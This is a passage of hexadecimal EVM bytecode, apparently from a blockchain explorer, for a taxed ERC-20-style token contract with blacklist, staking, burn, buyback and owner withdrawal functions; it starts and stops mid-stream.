60401b6044820152606401610e06565b6143508483613871565b61435a83836139b0565b600e546001600160a01b03848116911614156143a15781600860008282546143829190614d63565b9250508190555081600f600082825461439b9190614e26565b90915550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516143e691815260200190565b60405180910390a350505050565b601054610100900460ff161561444c5760405162461bcd60e51b815260206004820152601760248201527f6c697175696469747920616c72656164792061646465640000000000000000006044820152606401610e06565b6015546001600160a01b038281169116141561271757436011556010805461ff00191661010017905550565b6001600160a01b03808516600090815260016020526040808220549288168252902054848110156144e65760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610e06565b600083156145765760105460ff161561451f576001600160a01b03881660009081526003602052604090205460ff161561451f57600080fd5b600b548611156145635760405162461bcd60e51b815260206004820152600f60248201526e223ab6b810383937ba32b1ba34b7b760891b6044820152606401610e06565b50600954600160381b900460ff166147c3565b841561466057601154156145d1576002601154436145949190614d63565b10156145d1576001600160a01b0387166000908152600360205260408120805460ff1916600117905560128054916145cb83615042565b91905055505b6145dd6009600a614f57565b86116145fc576013546145fc9088906001600160a01b0316600061307b565b600a546146098785614e26565b111561464a5760405162461bcd60e51b815260206004820152601060248201526f3bb430b63290383937ba32b1ba34b7b760811b6044820152606401610e06565b506009546601000000000000900460ff166147c3565b60105460ff1615614691576001600160a01b03881660009081526003602052604090205460ff161561469157600080fd5b61469d6009600a614f57565b861161476657601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156146f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061471a9190614d7a565b6014546001600160a01b039081169116141561474557614740333361146f336000612e46565b61475e565b60145461475e9033906001600160a01b0316600061307b565b505050614098565b600a546147738785614e26565b11156147b45760405162461bcd60e51b815260206004820152601060248201526f3bb430b63290383937ba32b1ba34b7b760811b6044820152606401610e06565b50600954600160401b900460ff165b6015546001600160a01b038981169116148015906147eb5750602854600160a81b900460ff16155b80156147fa575060285460ff16155b80156148035750835b1561481a5760225461481a9061ffff166000613433565b60006148368783600960019054906101000a900460ff16614962565b60095490915060009061489f908990859060ff600160281b82048116918181169162010000820481169161487c9163010000008204811691640100000000900416614d3e565b6148869190614d3e565b6148909190614d3e565b61489a9190614d3e565b614962565b905060006148ad8284614e26565b6148b7908a614d63565b90506148c38b8a613871565b6148cd30836139b0565b82600860008282546148df9190614d63565b9250508190555082600f60008282546148f89190614e26565b9091555061490890508a826139b0565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161494d91815260200190565b60405180910390a35050505050505050505050565b60006127108260ff168460ff168661497a9190614f66565b6149849190614f66565b61498e9190614f85565b949350505050565b803560ff811681146149a757600080fd5b919050565b60008060008060008060008060006101208a8c0312156149cb57600080fd5b6149d48a614996565b98506149e260208b01614996565b97506149f060408b01614996565b96506149fe60608b01614996565b9550614a0c60808b01614996565b9450614a1a60a08b01614996565b9350614a2860c08b01614996565b9250614a3660e08b01614996565b9150614a456101008b01614996565b90509295985092959850929598565b600060208083528351808285015260005b81811015614a8157858101830151858201604001528201614a65565b81811115614a93576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461271757600080fd5b60008060408385031215614ad157600080fd5b8235614adc81614aa9565b946020939093013593505050565b600060208284031215614afc57600080fd5b5035919050565b600060208284031215614b1557600080fd5b813561205381614aa9565b803561ffff811681146149a757600080fd5b801515811461271757600080fd5b60008060408385031215614b5357600080fd5b614b5c83614b20565b91506020830135614b6c81614b32565b809150509250929050565b600080600060608486031215614b8c57600080fd5b8335614b9781614aa9565b92506020840135614ba781614aa9565b929592945050506040919091013590565b600060208284031215614bca57600080fd5b813561205381614b32565b60008060408385031215614be857600080fd5b614bf183614996565b9150614bff60208401614996565b90509250929050565b600060208284031215614c1a57600080fd5b61205382614b20565b60008060408385031215614c3657600080fd5b50508035926020909101359150565b600080600060408486031215614c5a57600080fd5b833567ffffffffffffffff80821115614c7257600080fd5b818601915086601f830112614c8657600080fd5b813581811115614c9557600080fd5b8760208260051b8501011115614caa57600080fd5b60209283019550935050840135614cc081614b32565b809150509250925092565b60008060408385031215614cde57600080fd5b8235614ce981614aa9565b91506020830135614b6c81614aa9565b60208082526015908201527410d85b1b195c881b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600060ff821660ff84168060ff03821115614d5b57614d5b614d28565b019392505050565b600082821015614d7557614d75614d28565b500390565b600060208284031215614d8c57600080fd5b815161205381614aa9565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015614de65781516001600160a01b031687529582019590820190600101614dc1565b509495945050505050565b848152608060208201526000614e0a6080830186614dad565b6001600160a01b03949094166040830152506060015292915050565b60008219821115614e3957614e39614d28565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b80851115614eae578160001904821115614e9457614e94614d28565b80851615614ea157918102915b93841c9390800290614e78565b509250929050565b600082614ec557506001611149565b81614ed257506000611149565b8160018114614ee85760028114614ef257614f0e565b6001915050611149565b60ff841115614f0357614f03614d28565b50506001821b611149565b5060208310610133831016604e8410600b8410161715614f31575081810a611149565b614f3b8383614e73565b8060001904821115614f4f57614f4f614d28565b029392505050565b600061205360ff841683614eb6565b6000816000190483118215151615614f8057614f80614d28565b500290565b600082614fa257634e487b7160e01b600052601260045260246000fd5b500490565b60208082526010908201526f139bdd081e595d081d5b9b1bd8dad95960821b604082015260600190565b600060208284031215614fe357600080fd5b5051919050565b600060208284031215614ffc57600080fd5b815161205381614b32565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600060001982141561505657615056614d28565b5060010190565b634e487b7160e01b600052603160045260246000fd5b85815284602082015260a06040820152600061509260a0830186614dad565b6001600160a01b0394909416606083015250608001529392505050565b6000806000606084860312156150c457600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212204cf0f208115d710f4d53109afe1e82201cad1812b72b860db339a7d100a7a44364736f6c634300080b0033

Deployed Bytecode

0x60806040526004361061044b5760003560e01c80637e94313b11610234578063c2bcf5ea1161012e578063d6b63978116100b6578063ecc723bf1161007a578063ecc723bf14610d46578063eda0228f14610d5b578063f2fde38b14610d7b578063fe575a8714610d9b578063ff4f661e14610dcb57600080fd5b8063d6b6397814610c96578063d8f946bf14610cb6578063d944392314610ccc578063dd62ed3e14610ceb578063e520752014610d3157600080fd5b8063ce4de192116100fd578063ce4de19214610c0c578063d1373e0414610c2c578063d4229e8914610c4c578063d5002f2e14610c61578063d5fcc7b614610c7657600080fd5b8063c2bcf5ea14610b96578063c6ead8af14610bb6578063cabcc71814610bcc578063cd3acd3c14610bec57600080fd5b8063a457c2d7116101bc578063b352172f11610180578063b352172f14610b07578063ba38487914610b27578063bd1c499414610b47578063bfeaf8c114610b67578063bffb691d14610b7c57600080fd5b8063a457c2d714610a7c578063a57c66cc14610a9c578063a66c218f14610ab2578063a9059cbb14610ad2578063aa761b1e14610af257600080fd5b80638c85bd6f116102035780638c85bd6f14610a025780638da5cb5b146109e457806395d89b4114610a17578063a1c47e7014610a46578063a253c06e14610a6657600080fd5b80637e94313b1461098f5780637f3b7f4c146109af57806387c61789146109cf578063893d20e8146109e457600080fd5b80632aea52ab1161034557806349a76042116102cd5780636f89e409116102915780636f89e409146108e557806370a082311461090f5780637115d00e14610945578063715018a61461095a5780637335307b1461096f57600080fd5b806349a76042146108595780634a4a9a68146108795780634d3e3e821461088f5780634f91e48c146108af5780636e548f9f146108c557600080fd5b8063395093511161031457806339509351146107e25780633b456f2f146108025780633cc39b7a146108185780633eaaf86b1461082e5780634089b1701461084357600080fd5b80632aea52ab1461076b5780632ba4b81c1461078b5780632cd3fd70146107a0578063313ce567146107c057600080fd5b80631d5165cf116103d35780632316b7e0116103975780632316b7e01461066757806323b872dd1461067d5780632598cdb21461069d57806328771ca2146106bd5780632973ef2d146106d257600080fd5b80631d5165cf146105a15780631f58e96f146105c157806321e622aa146105e1578063224f7e5a1461061957806322d57ea31461063957600080fd5b80630e15561a1161041a5780630e15561a1461051357806310f3e6761461053757806316008eb01461054c57806318160ddd1461056c5780631c6a5df91461058157600080fd5b806303c1f2f11461045757806306fdde0314610479578063095ea7b3146104c35780630a79f2a4146104f357600080fd5b3661045257005b600080fd5b34801561046357600080fd5b506104776104723660046149ac565b610de1565b005b34801561048557600080fd5b5060408051808201909152600f81526e1194915052d25391c8135153951053608a1b60208201525b6040516104ba9190614a54565b60405180910390f35b3480156104cf57600080fd5b506104e36104de366004614abe565b611138565b60405190151581526020016104ba565b3480156104ff57600080fd5b5061047761050e366004614aea565b61114f565b34801561051f57600080fd5b50610529601d5481565b6040519081526020016104ba565b34801561054357600080fd5b506104776113d2565b34801561055857600080fd5b50610477610567366004614b03565b61148f565b34801561057857600080fd5b50600854610529565b34801561058d57600080fd5b5061047761059c366004614b40565b61154c565b3480156105ad57600080fd5b506104776105bc366004614b03565b61157f565b3480156105cd57600080fd5b506104776105dc366004614aea565b611634565b3480156105ed57600080fd5b50601454610601906001600160a01b031681565b6040516001600160a01b0390911681526020016104ba565b34801561062557600080fd5b50610477610634366004614b03565b6116b6565b34801561064557600080fd5b506022546106549061ffff1681565b60405161ffff90911681526020016104ba565b34801561067357600080fd5b5061052960125481565b34801561068957600080fd5b506104e3610698366004614b77565b611720565b3480156106a957600080fd5b50600c54610601906001600160a01b031681565b3480156106c957600080fd5b506105296117b7565b3480156106de57600080fd5b506009546040805160ff61010080850482168352600160281b850482166020840152818516938301939093526201000084048116606083015263010000008404811660808301526401000000008404811660a083015266010000000000008404811660c0830152600160381b8404811660e0830152600160401b90930490921690820152610120016104ba565b34801561077757600080fd5b50610477610786366004614bb8565b6117dc565b34801561079757600080fd5b50610529600281565b3480156107ac57600080fd5b506104776107bb366004614aea565b611842565b3480156107cc57600080fd5b5060095b60405160ff90911681526020016104ba565b3480156107ee57600080fd5b506104e36107fd366004614abe565b611994565b34801561080e57600080fd5b5061052960215481565b34801561082457600080fd5b5061052960275481565b34801561083a57600080fd5b506105296119cb565b34801561084f57600080fd5b50610529601e5481565b34801561086557600080fd5b50610477610874366004614b03565b6119e8565b34801561088557600080fd5b50610529600a5481565b34801561089b57600080fd5b506104776108aa366004614b03565b611a52565b3480156108bb57600080fd5b50610529600b5481565b3480156108d157600080fd5b506104776108e0366004614bd5565b611be3565b3480156108f157600080fd5b506108fa611ce9565b604080519283526020830191909152016104ba565b34801561091b57600080fd5b5061052961092a366004614b03565b6001600160a01b031660009081526001602052604090205490565b34801561095157600080fd5b50610477611d11565b34801561096657600080fd5b50610477611e56565b34801561097b57600080fd5b506104e361098a366004614b03565b611ed9565b34801561099b57600080fd5b506104776109aa366004614b03565b611ee6565b3480156109bb57600080fd5b506105296109ca366004614b03565b612045565b3480156109db57600080fd5b5061047761205a565b3480156109f057600080fd5b506000546001600160a01b0316610601565b348015610a0e57600080fd5b50610477612126565b348015610a2357600080fd5b5060408051808201909152600681526513515395105360d21b60208201526104ad565b348015610a5257600080fd5b50610529610a61366004614b03565b612344565b348015610a7257600080fd5b5061052960085481565b348015610a8857600080fd5b506104e3610a97366004614abe565b612352565b348015610aa857600080fd5b5061052960115481565b348015610abe57600080fd5b50610477610acd366004614bb8565b6123ce565b348015610ade57600080fd5b506104e3610aed366004614abe565b612411565b348015610afe57600080fd5b5061047761241e565b348015610b1357600080fd5b50610477610b22366004614c08565b6124c0565b348015610b3357600080fd5b50601354610601906001600160a01b031681565b348015610b5357600080fd5b50610477610b62366004614b03565b6125dc565b348015610b7357600080fd5b50610477612663565b348015610b8857600080fd5b506010546104e39060ff1681565b348015610ba257600080fd5b50610477610bb1366004614c23565b61271a565b348015610bc257600080fd5b50610529600f5481565b348015610bd857600080fd5b50600e54610601906001600160a01b031681565b348015610bf857600080fd5b50610477610c07366004614aea565b612895565b348015610c1857600080fd5b50610477610c27366004614aea565b6128fa565b348015610c3857600080fd5b50610477610c47366004614c45565b61295f565b348015610c5857600080fd5b506104776129f9565b348015610c6d57600080fd5b50610529612a12565b348015610c8257600080fd5b50610477610c91366004614b03565b612a3b565b348015610ca257600080fd5b50610477610cb1366004614b03565b612a77565b348015610cc257600080fd5b5061052960205481565b348015610cd857600080fd5b506010546104e390610100900460ff1681565b348015610cf757600080fd5b50610529610d06366004614ccb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610d3d57600080fd5b506107d0600c81565b348015610d5257600080fd5b50610477612b93565b348015610d6757600080fd5b50601754610601906001600160a01b031681565b348015610d8757600080fd5b50610477610d96366004614b03565b612bde565b348015610da757600080fd5b506104e3610db6366004614b03565b60036020526000908152604090205460ff1681565b348015610dd757600080fd5b50610529601f5481565b610dea33612d0e565b610e0f5760405162461bcd60e51b8152600401610e0690614cf9565b60405180910390fd5b600087898b89610e1f898b614d3e565b610e299190614d3e565b610e339190614d3e565b610e3d9190614d3e565b610e479190614d3e565b90508060ff16606414610eaf5760405162461bcd60e51b815260206004820152602a60248201527f6d61726b6574696e672b6c69712b7374616b696e67206e6565647320746f206560448201526938bab0b610189818129760b11b6064820152608401610e06565b600c8460ff161115610f035760405162461bcd60e51b815260206004820152601e60248201527f42757974617820697320686967686572207468616e20746865203132252e00006044820152606401610e06565b600c60ff84161115610f575760405162461bcd60e51b815260206004820152601b60248201527f53656c6c74617820697320686967686572207468616e203132252e00000000006044820152606401610e06565b600c8260ff161115610fab5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657254617820697320686967686572207468616e203132252e006044820152606401610e06565b89600960016101000a81548160ff021916908360ff16021790555088600960056101000a81548160ff021916908360ff16021790555087600960006101000a81548160ff021916908360ff16021790555086600960026101000a81548160ff021916908360ff16021790555085600960036101000a81548160ff021916908360ff16021790555084600960046101000a81548160ff021916908360ff16021790555083600960066101000a81548160ff021916908360ff16021790555082600960076101000a81548160ff021916908360ff16021790555081600960086101000a81548160ff021916908360ff1602179055507f4ef486dbd29fe140a2c720bfc74d470a38d5f811acb5a32a67207ac2f84324de8a8a8a8a8a8a8a8a8a6040516111249998979695949392919060ff998a1681529789166020890152958816604088015293871660608701529186166080860152851660a0850152841660c0840152831660e08301529091166101008201526101200190565b60405180910390a150505050505050505050565b6000611145338484612d53565b5060015b92915050565b61115833612d0e565b6111745760405162461bcd60e51b8152600401610e0690614cf9565b6021548111156111c65760405162461bcd60e51b815260206004820152601e60248201527f416d6f756e742065786365656473204275794261636b42616c616e63652100006044820152606401610e06565b80602160008282546111d89190614d63565b9091555050306000908152600160205260408082205481516002808252606082019093529092918160200160208202803683375050601654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561125a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127e9190614d7a565b8160008151811061129157611291614d97565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106112c5576112c5614d97565b6001600160a01b039283166020918202929092010152601654600e5460405163b6f9de9560e01b81529183169263b6f9de95928792611311926000928892909116904290600401614df1565b6000604051808303818588803b15801561132a57600080fd5b505af115801561133e573d6000803e3d6000fd5b5050306000908152600160205260408120549093506113609250859150614d63565b905080600860008282546113749190614d63565b9250508190555080600f600082825461138d9190614e26565b909155505060408051858152602081018390527f4e57162cf2059954fd33f1ecaaf1832e379957714070ad171bc5382b18c98d3c91015b60405180910390a150505050565b601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114499190614d7a565b6014546001600160a01b039081169116141561147657611474333361146f336000612e46565b612f02565b565b6014546114749033906001600160a01b0316600061307b565b336114a26000546001600160a01b031690565b6001600160a01b0316146114c85760405162461bcd60e51b8152600401610e0690614e3e565b600d546001600160a01b03166114df60048261341e565b50600d80546001600160a01b0319166001600160a01b03841690811790915561150a90600490612cd7565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b61155533612d0e565b6115715760405162461bcd60e51b8152600401610e0690614cf9565b61157b8282613433565b5050565b336115926000546001600160a01b031690565b6001600160a01b0316146115b85760405162461bcd60e51b8152600401610e0690614e3e565b600c546001600160a01b03166115cf60048261341e565b50600c80546001600160a01b0319166001600160a01b0384169081179091556115fa90600490612cd7565b506040516001600160a01b03831681527f335aad0eda24dacfa324b3d651daa091864338cf7d4af9d5087ba1c5ee1174f090602001611540565b336116476000546001600160a01b031690565b6001600160a01b03161461166d5760405162461bcd60e51b8152600401610e0690614e3e565b61167f61167a4283614e26565b61365c565b6040518181527fe9da15d4cb5bea133d9613a866c909df5594489b91a3f780d43720d560b3c94c906020015b60405180910390a150565b6116bf33612d0e565b6116db5760405162461bcd60e51b8152600401610e0690614cf9565b6116e660048261341e565b506040516001600160a01b03821681527ff56dcc090ef3820920e9ab4296cecb51090a1cde94dd5e81bdd775bfb66fdf44906020016116ab565b600061172d84848461366f565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156117985760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610e06565b6117ac85336117a78685614d63565b612d53565b506001949350505050565b60006018544210156117d657426018546117d19190614d63565b905090565b50600090565b6117e533612d0e565b6118015760405162461bcd60e51b8152600401610e0690614cf9565b6010805460ff19168215159081179091556040519081527f822b6eca0677bdb1250cf1e8b40dbd32dac3990c5fa49d3ba96445a4d0e5c34e906020016116ab565b60006118506009600a614f57565b61185a9083614f66565b33600090815260016020526040902054909150818110156118c75760405162461bcd60e51b815260206004820152602160248201527f4275726e20616d6f756e7420657863656564207573657227732062616c616e636044820152606560f81b6064820152608401610e06565b6118d13383613871565b600e546118e7906001600160a01b0316836139b0565b81600860008282546118f99190614d63565b9250508190555081600f60008282546119129190614e26565b9091555050600e546040518381526001600160a01b039091169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36040518281527f7a11ab183136f32a768cf22a579666d9f13131efe1c89cb0c02b60a2caa65b86906020015b60405180910390a1505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916111459185906117a7908690614e26565b6119d76009600a614f57565b6119e590633b9aca00614f66565b81565b6119f133612d0e565b611a0d5760405162461bcd60e51b8152600401610e0690614cf9565b611a18600482612cd7565b506040516001600160a01b03821681527fc43ac1ed89a6611862c89bd827657f1406e2a407bc2be9eaa4844539d0b583ed906020016116ab565b611a5b33612d0e565b611a775760405162461bcd60e51b8152600401610e0690614cf9565b611a8081611ed9565b15611a8a57600080fd5b6001600160a01b038116600090815260016020526040812054601a805491929091611ab6908490614d63565b9091555060009050611ac9826001613b07565b90506000611ad8836000613b07565b601b546001600160a01b038516600090815260016020526040902054919250611b0091614f66565b6001600160a01b038416600090815260236020908152604080832093909355601c54600190915291902054611b359190614f66565b6001600160a01b038416600090815260256020908152604080832093909355602490529081208054849290611b6b908490614e26565b90915550506001600160a01b03831660009081526026602052604081208054839290611b98908490614e26565b90915550611ba99050600684612cd7565b506040516001600160a01b03841681527ffdad6ad6d20feb1cf5414d7191f09faf279ff860ba2b44076b7d95575fd9bfc790602001611987565b611bec33612d0e565b611c085760405162461bcd60e51b8152600401610e0690614cf9565b6000611c148284614d3e565b90508060ff16606414611c795760405162461bcd60e51b815260206004820152602760248201527f4d61696e53706c69742b4d69736353706c6974206e6565647320746f20657175604482015266616c203130302560c81b6064820152608401610e06565b600980546affff0000000000000000001916600160481b60ff86811691820260ff60501b191692909217600160501b928616928302179092556040805192835260208301919091527f33a86622eaf7c132906cc317e59b8f26132029845aedc7ab4c37588f7674328c9101611987565b600080600a8054611cfa9190614f85565b600a600b54611d099190614f85565b915091509091565b33611d246000546001600160a01b031690565b6001600160a01b031614611d4a5760405162461bcd60e51b8152600401610e0690614e3e565b601854421015611d6c5760405162461bcd60e51b8152600401610e0690614fa7565b6015546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa158015611db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ddd9190614fd1565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015611e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e519190614fea565b505050565b33611e696000546001600160a01b031690565b6001600160a01b031614611e8f5760405162461bcd60e51b8152600401610e0690614e3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000611149600683612cec565b33611ef96000546001600160a01b031690565b6001600160a01b031614611f1f5760405162461bcd60e51b8152600401610e0690614e3e565b601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f969190614d7a565b6001600160a01b0316816001600160a01b03161415611ff75760405162461bcd60e51b815260206004820152601760248201527f6e65775265776172642063616e6e6f74206265204554480000000000000000006044820152606401610e06565b601380546001600160a01b0319166001600160a01b0383169081179091556040519081527f558f3c3477828b8e86122711346c105a44baef33665f9ad57bd344db08d865d2906020016116ab565b600080612053836000612e46565b9392505050565b61206333612d0e565b61207f5760405162461bcd60e51b8152600401610e0690614cf9565b60208054600091829055600d546040519192916001600160a01b039091169083905b60006040518083038185875af1925050503d80600081146120de576040519150601f19603f3d011682016040523d82523d6000602084013e6120e3565b606091505b505090508061157b5760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610e06565b336121396000546001600160a01b031690565b6001600160a01b03161461215f5760405162461bcd60e51b8152600401610e0690614e3e565b6018544210156121815760405162461bcd60e51b8152600401610e0690614fa7565b426018556015546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156121d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f69190614fd1565b60165460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af115801561224b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226f9190614fea565b5060165460405163af2979eb60e01b81526001600160a01b039091169063af2979eb906122ab9030908590600090819084904290600401615007565b6020604051808303816000875af11580156122ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ee9190614fd1565b50604051600090339047908381818185875af1925050503d8060008114612331576040519150601f19603f3d011682016040523d82523d6000602084013e612336565b606091505b5050905080611e5157600080fd5b600080612053836001612e46565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156123b55760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610e06565b6123c433856117a78685614d63565b5060019392505050565b6123d733612d0e565b6123f35760405162461bcd60e51b8152600401610e0690614cf9565b60288054911515600160a81b0260ff60a81b19909216919091179055565b600061114533848461366f565b61242733611ed9565b61243057600080fd5b33600090815260016020526040812054601a805491929091612453908490614e26565b90915550612464905060063361341e565b50601b54336000908152600160205260409020546124829190614f66565b33600090815260236020908152604080832093909355601c546001909152919020546124ae9190614f66565b33600090815260256020526040902055565b6124c933612d0e565b6124e55760405162461bcd60e51b8152600401610e0690614cf9565b60008161ffff16116125435760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610e06565b60328161ffff1611156125985760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610e06565b6022805461ffff191661ffff83169081179091556040519081527f4bc724ded866266de2e4fcb24ff0604579001c86a5eb4d9ccb6304ce53257f57906020016116ab565b336125ef6000546001600160a01b031690565b6001600160a01b0316146126155760405162461bcd60e51b8152600401610e0690614e3e565b601480546001600160a01b0319166001600160a01b0383169081179091556040519081527fe173af45b6a0420431a53334d1617eae12ac3a72a5044de477592a5c72e7e815906020016116ab565b336126766000546001600160a01b031690565b6001600160a01b03161461269c5760405162461bcd60e51b8152600401610e0690614e3e565b6018544210156126be5760405162461bcd60e51b8152600401610e0690614fa7565b42601855604051600090339047908381818185875af1925050503d8060008114612704576040519150601f19603f3d011682016040523d82523d6000602084013e612709565b606091505b505090508061271757600080fd5b50565b61272333612d0e565b61273f5760405162461bcd60e51b8152600401610e0690614cf9565b6000602861274f6009600a614f57565b61275d90633b9aca00614f66565b6127679190614f85565b9050600060326127796009600a614f57565b61278790633b9aca00614f66565b6127919190614f85565b9050818410156127f45760405162461bcd60e51b815260206004820152602860248201527f6e65774d617857616c6c6574206e6565647320746f206265206174206c6561736044820152671d081d185c99d95d60c21b6064820152608401610e06565b808310156128555760405162461bcd60e51b815260206004820152602860248201527f6e657753656c6c4c696d6974206e6565647320746f206265206174206c6561736044820152671d081d185c99d95d60c21b6064820152608401610e06565b600a849055600b83905560408051858152602081018590527f5912df26a1b0605572860e6b304fb802d17b80e06c29fd87a95ce4867318226191016113c4565b61289e33612d0e565b6128ba5760405162461bcd60e51b8152600401610e0690614cf9565b6020548111156128c957600080fd5b80602060008282546128db9190614d63565b9091555050600d546040516000916001600160a01b03169083906120a1565b61290333612d0e565b61291f5760405162461bcd60e51b8152600401610e0690614cf9565b601f5481111561292e57600080fd5b80601f60008282546129409190614d63565b9091555050600c546040516000916001600160a01b03169083906120a1565b61296833612d0e565b6129845760405162461bcd60e51b8152600401610e0690614cf9565b60005b828110156129f35781600360008686858181106129a6576129a6614d97565b90506020020160208101906129bb9190614b03565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556129ec81615042565b9050612987565b50505050565b6013546114749033906001600160a01b0316600061307b565b6000612a206009600a614f57565b612a2e90633b9aca00614f66565b601a546117d19190614d63565b612a4433612d0e565b612a605760405162461bcd60e51b8152600401610e0690614cf9565b612a6b600482612cd7565b5061157b600682612cd7565b612a8033612d0e565b612a9c5760405162461bcd60e51b8152600401610e0690614cf9565b612aa581611ed9565b612aae57600080fd5b6001600160a01b038116600090815260016020526040812054601a805491929091612ada908490614e26565b90915550612aeb905060068261341e565b50601b546001600160a01b038216600090815260016020526040902054612b129190614f66565b6001600160a01b038216600090815260236020908152604080832093909355601c54600190915291902054612b479190614f66565b6001600160a01b03821660008181526025602090815260409182902093909355519081527f17c68ddb608396ddd017365c5b7ad57c242ccfa5034cbe40d699f2a93087735191016116ab565b612b9c33612d0e565b612bb85760405162461bcd60e51b8152600401610e0690614cf9565b601f8054600091829055600c546040519192916001600160a01b039091169083906120a1565b33612bf16000546001600160a01b031690565b6001600160a01b031614612c175760405162461bcd60e51b8152600401610e0690614e3e565b6001600160a01b038116612c7c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610e06565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000612053836001600160a01b038416613c19565b6001600160a01b03811660009081526001830160205260408120541515612053565b600080546001600160a01b0383811691161480612d385750600c546001600160a01b038381169116145b80611149575050600d546001600160a01b0390811691161490565b6001600160a01b038316612d9d5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610e06565b6001600160a01b038216612de55760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610e06565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008115612eb057612e5783611ed9565b15612e7b57506001600160a01b038216600090815260246020526040902054611149565b6001600160a01b038316600090815260246020526040902054612e9f846001613b07565b612ea99190614e26565b9050611149565b612eb983611ed9565b15612edd57506001600160a01b038216600090815260266020526040902054611149565b6001600160a01b03831660009081526026602052604081205490612e9f908590613b07565b60195460ff1615612f1257600080fd5b80612f445760405162461bcd60e51b815260206004820152600260248201526103d360f41b6044820152606401610e06565b6019805460ff191660011790556028546001600160a01b03838116610100909204161415612f7157612f93565b612f7b8382613c68565b80601e6000828254612f8d9190614e26565b90915550505b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612fe0576040519150601f19603f3d011682016040523d82523d6000602084013e612fe5565b606091505b50509050806130285760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610e06565b506019805460ff19169055604080516001600160a01b038086168252841660208201529081018290527f67ca17bb98cd1e9f9b78c76b6cc3ebab128509ea34ad88625cacc41df372967c90606001611987565b60195460ff161561308b57600080fd5b6019805460ff1916600117905560006130a384611ed9565b15613104576013546001600160a01b03848116911614156130e157506001600160a01b03831660009081526024602052604081208054919055613223565b506001600160a01b03831660009081526026602052604081208054919055613223565b6013546001600160a01b03848116911614156131a1576000613127856001613b07565b6001600160a01b038616600090815260016020526040902054601b5491925061314f91614f66565b6001600160a01b03861660009081526023602090815260408083209390935560249052205461317f908290614e26565b6001600160a01b03861660009081526024602052604081205591506132239050565b60006131ae856000613b07565b6001600160a01b038616600090815260016020526040902054601c549192506131d691614f66565b6001600160a01b038616600090815260256020908152604080832093909355602690522054613206908290614e26565b6001600160a01b0386166000908152602660205260408120559150505b8015801561322f575081155b156132445750506019805460ff191690555050565b80601e60008282546132569190614e26565b9091555061326690508282614e26565b60408051600280825260608201835292935060009290916020830190803683375050601654